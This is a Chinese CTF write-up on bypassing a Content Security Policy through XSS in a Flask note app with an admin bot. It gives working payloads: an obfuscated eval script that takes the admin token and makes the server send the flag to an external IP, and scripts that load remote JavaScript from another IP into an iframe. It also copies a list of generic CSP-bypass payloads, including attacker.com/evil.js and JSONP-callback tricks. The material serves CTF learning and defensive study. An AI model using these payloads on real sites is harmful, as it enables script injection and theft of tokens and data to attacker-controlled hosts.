从一到题简单理解csp

从发的wp来看,主要就是一个xss的绕过的问题,没啥东西

题目

app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
#!/usr/bin/env python
# -*- coding: utf-8 -*-

from flask import Flask, render_template, request, redirect
from flask_wtf.csrf import CSRFProtect
from util import data_wash
from visit import visitObj
from random import randint
from base64 import b64encode
import string
import sys
import logging
import uuid
import os
import time
import requests

logging.basicConfig(level=logging.INFO, stream=sys.stdout)
FLAG = b64encode(open(os.getenv('flagpath'), 'r').read().encode()).decode()

app = Flask(__name__, static_url_path='')
app.config["SECRET_KEY"] = ''.join([string.ascii_letters[randint(0, 51)] for i in range(50)])
csrf = CSRFProtect(app)
notes = {}
tokens = {}


@app.route("/", methods=['GET'])
def index():
return render_template('index.html')


@app.route("/note", methods=['GET', 'POST'])
def note():
if request.method == 'GET':
if not request.args.get('note') or type(request.args.get('note')) != type('s') or request.args.get(
'note') not in notes:
return render_template("note.html", msg="note not found", ok=False, noteid=request.args.get('note'))
return render_template("note.html", msg=notes[request.args.get('note')], ok=True,
noteid=request.args.get('note'))
# POST
note_content = request.form.get('note')
if type(note_content) != type('s'):
return "not string"
noteid = str(uuid.uuid4())
while noteid in notes:
noteid = str(uuid.uuid4())
notes[noteid] = data_wash(note_content)
return redirect('?note=' + noteid)


@app.route("/report", methods=['GET', 'POST'])
def report():
if request.method == 'POST':
noteid = request.form.get('note')
if noteid not in notes:
return "note not found"
if visitObj.addNote(noteid):
return "report success! admin will visit it"
return "queue is full, please wait a second. you can visit /checkQueue to get the queue size"
return render_template("report.html")


@app.route("/checkQueue", methods=['GET'])
def checkQueue():
return {'queue_size': visitObj.getsize()}


@app.route("/flag", methods=['GET', 'POST'])
def flag():
if request.method == 'GET':
return render_template("flag.html")
# POST
token = request.form.get('token') if request.form.get('token') else request.args.get('token')
url = request.form.get('url') if request.form.get('url') else request.args.get('url')
if type(token) != type('s'):
return "string only"
if token not in tokens:
return "token not found"
if int(time.time()) - tokens[token]['startTime'] >= 60:
del tokens[token]
return "token expired"
userToken = tokens[token]
# token 已使用,删除
del tokens[token]
# 发起访问
if userToken['isAdmin'] and request.remote_addr == '127.0.0.1':
path = '/?flag=' + FLAG
try:
requests.get(url=url + path, timeout=3)
return "WELCOME ADMIN! request finished"
except:
return "WELCOME ADMIN! Exception!"
return "not admin, just test"


@app.route("/getToken", methods=['GET', 'POST'])
def getToken():
# 清理超时Token
for t in list(tokens):
if int(time.time()) - tokens[t]['startTime'] >= 60:
del tokens[t]
# 生成Token
token = str(uuid.uuid4())
while token in tokens:
token = str(uuid.uuid4())
if request.remote_addr == '127.0.0.1':
tokens[token] = {
'token': token,
'isAdmin': True,
'startTime': int(time.time())
}
else:
tokens[token] = {
'token': token,
'isAdmin': False,
'startTime': int(time.time())
}
return tokens[token]


if __name__ == '__main__':
app.run(host="0.0.0.0", port=80, debug=False)

utf.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/env python3
# -*- coding:utf-8 -*-
import re


def htmlencode(s):
res = ''
for char in s:
res += "&#%d;" % ord(char)
return res


def data_wash(s: str):
pattern = re.compile(r'''<script>|<\/script>|on|func|javascript|flag|127\.|var|\'|\"|fetch|eval|\$|ajax|token''', re.I)
finds = re.findall(pattern, s)
for word in finds:
s = s.replace(word, htmlencode(word))
return s


visit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/usr/bin/env python
# -*- coding: utf-8 -*-

from selenium import webdriver
from queue import Queue


class Visit:
def __init__(self):
self.url_queue = Queue(maxsize=3)

def getsize(self):
return self.url_queue.qsize()

def addNote(self, noteid):
if not self.url_queue.full():
self.url_queue.put("http://127.0.0.1/note?note=" + noteid)
while self.url_queue.qsize():
self.chromeVisit(self.url_queue.get())
return True
return False

def chromeVisit(self, url):
print("chrome visit", url)
driver = webdriver.Chrome()
driver.set_page_load_timeout(20)
try:
driver.get(url)
except Exception as ee:
print(ee)
finally:
driver.close()
driver.quit()


visitObj = Visit()

关键html-note

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="Content-Security-Policy" content="default-src 'self' 'unsafe-inline' 'unsafe-eval'; img-src 'self'; object-src 'none'; ">
<title>note</title>
<link href="{{ url_for('static', filename = 'bootstrap-3.3.7/css/bootstrap.min.css') }}" rel="stylesheet">
</head>
<body>
<script src="{{ url_for('static', filename='bootstrap-3.3.7/js/jquery-3.4.1.min.js') }}"></script>
<div class="row">
<div class="col-md-4">
</div>
<div class="col-md-4">
<a href="/" target="_self">HOME</a>
<a href="/note" target="_self">note</a>
<a href="/report" target="_self">report</a>
<a href="/checkQueue" target="_self">checkQueue</a>
<a href="/getToken" target="_self">getToken</a>
<a href="/flag" target="_self">flag</a>
<fieldset>
<legend>Note Detail</legend>
<div>
<p> {% autoescape false %}{{ msg }}{% endautoescape %}</p>
{% if ok %}
<button type="button" id="button">report</button>
{% endif %}
</div>
</fieldset>
</div>
<div class="col-md-4">
<form id="form" action="/report" method="post" enctype="application/x-www-form-urlencoded">
<input type="hidden" name="csrf_token" value="{{ csrf_token() }}" />
<input hidden name="note" value="{{ noteid }}" id="input">
</form>
</div>
</div>
<script language="JavaScript">
window.onload = function() {
$("#button").click(function() {
$("#form").submit()
})
}
</script>
</body>
</html>

题目的逻辑就是通过xss触发类似机器人的自动访问

因为url可控,可以带出flag

因为这里需要带出flag,所以这里应该是需要出网的

过滤

关于xss的过滤

1
pattern = re.compile(r'''<script>|<\/script>|on|func|javascript|flag|127\.|var|\'|\"|fetch|eval|\$|ajax|token''', re.I)

第一点针对script标签的过滤,由于过滤的试完整的标签

所以可以通过加空格绕过

1
<script >aaaa</script >

或者

1
<script id=1>aaaa</script id=2>

这样下来其实就可以纯xss就完成这操作了

1
2
3
<script id=1>
\u0065\u0076\u0061\u006c(String.fromCharCode(36,46,97,106,97,120,40,123,10,9,117,114,108,58,34,47,103,101,116,84,111,107,101,110,34,44,10,32,32,32,32,116,121,112,101,58,39,103,101,116,39,44,10,32,32,32,32,100,97,116,97,84,121,112,101,58,39,106,115,111,110,39,44,10,32,32,32,32,115,117,99,99,101,115,115,58,102,117,110,99,116,105,111,110,40,100,97,116,97,41,123,10,9,9,116,111,107,101,110,32,61,32,36,40,34,105,110,112,117,116,91,110,97,109,101,61,39,99,115,114,102,95,116,111,107,101,110,39,93,34,41,46,118,97,108,40,41,59,10,9,9,36,46,112,111,115,116,40,34,47,102,108,97,103,63,117,114,108,61,104,116,116,112,58,47,47,56,49,46,54,56,46,49,57,52,46,49,55,52,34,44,123,116,111,107,101,110,58,100,97,116,97,46,116,111,107,101,110,44,99,115,114,102,95,116,111,107,101,110,58,116,111,107,101,110,125,41,59,10,9,125,10,125,41,59));
</script id=2>

思考

如果想加载一个外部的js文件来执行呢

由于害过滤了单双引号,这里可以不用或者使用反引号

1
<script src=http://xxx.x.xx.xx/a.js>aaa</script >

这时就会遇到一个问题就是

在note.html的meta头中使用了csp策略

1
<meta http-equiv="Content-Security-Policy" content="default-src 'self' 'unsafe-inline' 'unsafe-eval'; img-src 'self'; object-src 'none'; ">

未配置script-src所以会用默认的default-src

  • unsafe-inline:允许内联样式
  • unsafe-eval:允许eval

不在过多描述

具体可参考:内容安全政策

绕过

在某些场景下,可以针对csp不检测重定向的特点,加载重定向的源

从其他地方看了一些方法

接下来就看看几个CSP配置场景,如何绕过。

场景1:

1
Content-Security-Policy: script-src https://sina.comhttps://baidu.com'unsafe-inline' https://*; child-src 'none'; report-uri /Report-parsing-url;

通过观察策略配置不难发现,在script-src指令中允许不安全的内联资源,那么可以通过引入内联脚本达到执行命令的目的:

1
payload: "/><script>alert(xss);</script>

场景2:

1
Content-Security-Policy: script-src https://sina.comhttps://baidu.com 'unsafe-eval' data: http://*; child-src 'none'; report-uri /Report-parsing-url;

这个配置则是错误的使用了unsafe-eval指令值,由于使用了data配置,不能直接使用script脚本,可通过base64进行编码,可构造以下payload:

1
<script src="https://www.freebuf.com/articles/web/data:;base64,YWxlcnQoZG9jdW1lbnQuY29va2llKQ=="></script>

场景3 :

1
Content-Security-Policy: script-src 'self' https://sina.com https://baidu.com https: data *; child-src 'none'; report-uri /Report-parsing-url;

这个配置在script-src指令中错误的使用了通配符,可以构造以下payload:

1
working payloads :"/>'><script src=https://attacker.com/evil.js></script>"/>'><script src=https://www.freebuf.com/articles/web/data:text/javascript,alert(1337)></script>

场景4:

1
Content-Security-Policy:script-src 'self' report-uri /Report-parsing-url;

这个配置中缺少了default-src和object-src配置,那么可以构造以下payload:

1
working payloads :<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain="})))}catch(e) {alert(1337)}//'> <param name="AllowScriptAccess" value="always"></object>

场景5:

1
Content-Security-Policy: script-src 'self' https://www.baidu.comobject-src 'none'; report-uri: /Report-parsing-uri;

这个配置场景中,script-src被设置为self并且加了白名单配置,可以使用jsonp绕过。Jsonp允许不安全的回调方法从而允许攻击者执行xss,payload如下:

1
:"><script src="https://www.baidu.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>

场景6:

1
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none'; report-uri /Report-parsing-url;

如果应用使用angular并且脚本都是从一个白名单域中加载的,通过调用回调函数或者有漏洞的类从而绕过CSP策略,详细的细节可以参考:

https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:"Sh*t, -it's-CSP!"

Payload如下:

1
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=https://www.freebuf.com//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>"><script src=https://www.freebuf.com//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>

场景7:

1
Content-Security-Policy:script-src ‘self’ accounts.google.com/random/ website.with.redirect.com; object-src ‘none’; report-uri /Report-parsing-url;

在上面的配置场景中,通过script-src定义了两个可以加载js脚本的白名单域。如果白名单域中任何一个域有开放的跳转链接那么CSP可以被绕过,攻击者可以构造payload使用该跳转链接跳转到另外一个支持jsonp调用的白名单域中,这种场景中,因为CSP只会检查域名host是否合法,不会检查路径参数,从而导致XSS被执行,payload如下:

1
">'><script src="https://website.with.redirect.com/redirect?url=https%3A//accounts.google.com/o/oauth2/revoke?callback=alert(1337)"></script>">

场景8:

1
Content-Security-Policy: default-src 'self' data:*; connect-src 'self'; script-src 'self'; report-uri /_csp; upgrade-insecure-requests;

该场景下的CSP能够通过使用iframes绕过,前提是应用允许加载来自白名单域的iframes,满足前提的情况下,那么可以通过使用iframe的一个特殊属性srcdoc来执行XSS,payload如下:

1
<iframe srcdoc='<script src="https://www.freebuf.com/articles/web/data:text/javascript,alert(document.domain)"></script>'></iframe>

文章出处:原文章

回到题目

设置了unsafe-inline,可以执行script中的代码

不妨写段代码,测试一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="Content-Security-Policy" content="default-src 'self' 'unsafe-inline' 'unsafe-eval'; img-src 'self'; object-src 'none'; ">
<title>note</title>
</head>
<body>
<div class="row">
<div class="col-md-4">
</div>
<div class="col-md-4">
<a href="/" target="_self">HOME</a>
<a href="/note" target="_self">note</a>
<a href="/report" target="_self">report</a>
<a href="/checkQueue" target="_self">checkQueue</a>
<a href="/getToken" target="_self">getToken</a>
<a href="/flag" target="_self">flag</a>
<fieldset>
<legend>Note Detail</legend>
<div>
<p><?php
$a = preg_match('/(<script>|<\/script>|on|func|javascript|flag|127\.|var|\'|\"|fetch|eval|\$|ajax|token)/i', $_REQUEST['a']);
if($a){
exit("error");
}else{
echo $_REQUEST['a'];
}
?></p>
<button type="button" id="button">report</button>
</div>
</fieldset>
</div>
<div class="col-md-4">
<form id="form" action="/report" method="post" enctype="application/x-www-form-urlencoded">
<input type="hidden" name="csrf_token" value="1111" />
<input hidden name="note" value="1111" id="input">
</form>
</div>
</div>
<script language="JavaScript">
window.onload = function() {
$("#button").click(function() {
$("#form").submit()
})
}*/
</script>
</body>
</html>

测试加载远程文件

image-20211211175336340

从网上找到一个payload,发现用了onload,会被拦截

1
2
3
4
5
6
7
8
9
f=document.createElement("iframe");
f.id="pwn";
f.src="./1.txt";
f.onload=()=>{
x=document.createElement('script');
x.src='//www.123.com/csp/1.js';
pwn.contentWindow.document.body.appendChild(x)
};
document.body.appendChild(f);

还有一个payload

1
2
3
4
5
6
7
8
9
10
<script >
let frame = document.createElement(`iframe`);
frame.src=`./bootstrap-3.3.7/js/jquery-3.4.1.min.js`;
document.body.appendChild(frame);
setTimeout(function()=>{
let script = document.createElement(`script`);
script.src = `http://158.247.203.68:7777/a.js`;
window.frames[ 0].document.body.appendChild(script);
}, 2000);
</script >

发现这里用了fun字符串,但其实可以删掉

1
2
3
4
5
6
7
8
9
10
<script >
let frame = document.createElement(`iframe`);
frame.src=`./bootstrap-3.3.7/js/jquery-3.4.1.min.js`;
document.body.appendChild(frame);
setTimeout(()=>{
let script = document.createElement(`script`);
script.src = `http://158.247.203.68:7777/a.js`;
window.frames[ 0].document.body.appendChild(script);
}, 2000);
</script >

可以看到成功加载了

image-20211211175642380

测试被加载的js是否被执行

python模拟开启一个http服务,编写js,访问9999端口

1
2
3
4
5
6
7
8
9
10
11
var xhr = null;
if(window.XMLHttpRequest){
xhr = new XMLHttpRequest();
}else{
xhr = new ActiveXObject("Microsoft.XMLHTTP");
}

//准备发送
xhr.open("post","http://158.247.203.68:9999/getToken",true);//这里的发送方式取决于后台,true待变异步发送
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded;charset=UTF-8");// 向请求添加 HTTP 头,POST如果有数据一定加加!!!!
xhr.send();

成功执行

image-20211211180050460